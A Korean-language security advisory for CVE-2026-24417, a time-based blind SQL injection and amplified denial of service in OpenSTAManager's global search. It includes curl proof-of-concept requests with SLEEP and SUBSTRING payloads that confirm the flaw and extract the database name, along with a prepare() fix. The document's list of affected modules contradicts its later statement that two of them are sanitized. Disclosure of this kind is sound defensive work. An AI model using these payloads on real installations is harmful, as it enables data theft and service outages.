
CVE-2026-24417 - OpenSTAManager에 시간 기반 블라인드 SQL 인젝션 및 증폭된 서비스 거부 취약점
| 필드 | 세부정보 |
|---|
| CVE ID | CVE-2026-24417 |
| 심각도 | 높음 |
| 권고 | 권고 보기 |
| 발견자 | Lukasz Rybak |
OpenSTAManager v2.9.8의 여러 검색 모듈에 영향을 미치는 심각한 시간 기반 블라인드 SQL 인젝션 취약점으로, 인증된 공격자가 시간 기반 부울 추론 공격을 통해 비밀번호 해시, 고객 데이터, 재무 기록을 포함한 민감한 데이터베이스 내용을 추출할 수 있으며, 10개 이상의 모듈에서 증폭된 실행이 가능합니다.
상태: ✅ 실제 인스턴스(v2.9.8)에서 확인 및 테스트 완료
취약한 매개변수: term (GET)
영향받는 엔드포인트: /ajax_search.php
영향받는 모듈: Articoli, Ordini, DDT, Fatture, Preventivi, Anagrafiche, Impianti, Contratti, Automezzi, Interventi
OpenSTAManager v2.9.8에는 전역 검색 기능에 심각한 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다. 애플리케이션이 여러 모듈별 검색 핸들러에서 SQL LIKE 절에 사용하기 전에 term 매개변수를 적절히 살균하지 못하여 공격자가 임의의 SQL 명령을 주입하고 시간 기반 부울 추론을 통해 민감한 데이터를 추출할 수 있습니다.
취약점 체인:
진입점: /ajax_search.php (30-31행)
$term = get('term');
$term = str_replace('/', '\\/', $term);
$term 매개변수는 최소한의 살균(슬래시만 대체)만 수행됩니다.
분배: /src/AJAX.php::search() (159-161행)
$files = self::find('ajax/search.php');
array_unshift($files, base_dir().'/ajax_search.php');
foreach ($files as $file) {
$module_results = self::getSearchResults($file, $term);
살균되지 않은 $term이 모든 모듈별 검색 핸들러에 전달됩니다.
실행: /src/AJAX.php::getSearchResults() (373행)
require $file;
각 모듈의 search.php 파일이 $term 변수를 범위 내에 포함시킨 상태로 포함됩니다.
취약한 SQL 쿼리: 여러 모듈이 prepare() 없이 $term을 직접 연결합니다.
영향을 받는 모든 파일 (10개 이상의 취약 인스턴스):
/modules/articoli/ajax/search.php - 51행 (주요 예시)
foreach ($fields as $name => $value) {
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
}
$rs = $dbo->fetchArray($query);
영향: prepare() 없이 직접 연결되어 완전한 SQL 인젝션 허용.
/modules/ordini/ajax/search.php - 43, 47행
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
$query .= '... WHERE `mg_articoli`.`codice` LIKE "%'.$term.'%" OR `mg_articoli_lang`.`title` LIKE "%'.$term.'%"';
/modules/ddt/ajax/search.php - 43, 47행
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/fatture/ajax/search.php - 45, 49행
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/preventivi/ajax/search.php - 45, 49행
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/anagrafiche/ajax/search.php - 62, 107, 162행
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
/modules/impianti/ajax/search.php - 46행
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
적절히 살균됨 (취약하지 않음):
/modules/contratti/ajax/search.php - prepare() 올바르게 사용/modules/automezzi/ajax/search.php - prepare() 올바르게 사용참고: 이 취약점은 증폭된 실행이 가능합니다. 단일 악성 요청이 동시에 모든 취약한 모듈에서 SQL 인젝션을 트리거하여 시간 기반 공격을 요청당 10회 이상 실행하게 하고, 지연을 배가시켜 라이브 데모 인스턴스에서 관찰된 대로 504 게이트웨이 시간 초과 오류를 유발합니다.

1단계: 로그인
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
2단계: 취약점 확인 (시간 기반 SLEEP)
# SLEEP(1) 테스트 - 증폭된 실행으로 인해 약 85초 이상 소요
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(1)%20OR%20%22'
# 결과: real 72.29s
# SLEEP(0) 테스트 - 빠르게 응답
time curl -s -b /tmp/cookies.txt \
'http://localhost:8081/ajax_search.php?term=%22%20AND%200%20OR%20SLEEP(0)%20OR%20%22'
# 결과: real 0.30s

3단계: 데이터 추출 - 데이터베이스 이름
# 데이터베이스 이름의 첫 번째 문자 추출 (예상: 'openstamanager'의 'o')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# 결과: real 170.32s
# 잘못된 문자 'x' 테스트 - 빠르게 응답
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_search.php?term=%22%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)%20OR%20%221%22=%221" \
> /dev/null
# 결과: real 0m0.30s

영향받는 사용자: 전역 검색 기능에 접근 가능한 모든 인증된 사용자.
권장 수정:
직접 $term 연결을 모두 prepare()로 대체하십시오:
수정 전 (취약):
$query .= ' OR '.$value.' LIKE "%'.$term.'%"';
수정 후 (해결):
$query .= ' OR '.$value.' LIKE '.prepare('%'.$term.'%');
이 수정 사항을 모든 영향을 받는 파일에 적용하십시오:
/modules/articoli/ajax/search.php - 51행/modules/ordini/ajax/search.php - 43, 47, 79행/modules/ddt/ajax/search.php - 43, 47, 83행/modules/fatture/ajax/search.php - 45, 49, 85행/modules/preventivi/ajax/search.php - 45, 49, 83행/modules/anagrafiche/ajax/search.php - 62, 107, 162행/modules/impianti/ajax/search.php - 46행이 CVE는 조정된 취약점 공개 관행에 따라 책임감 있게 공개되었습니다. 여기 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.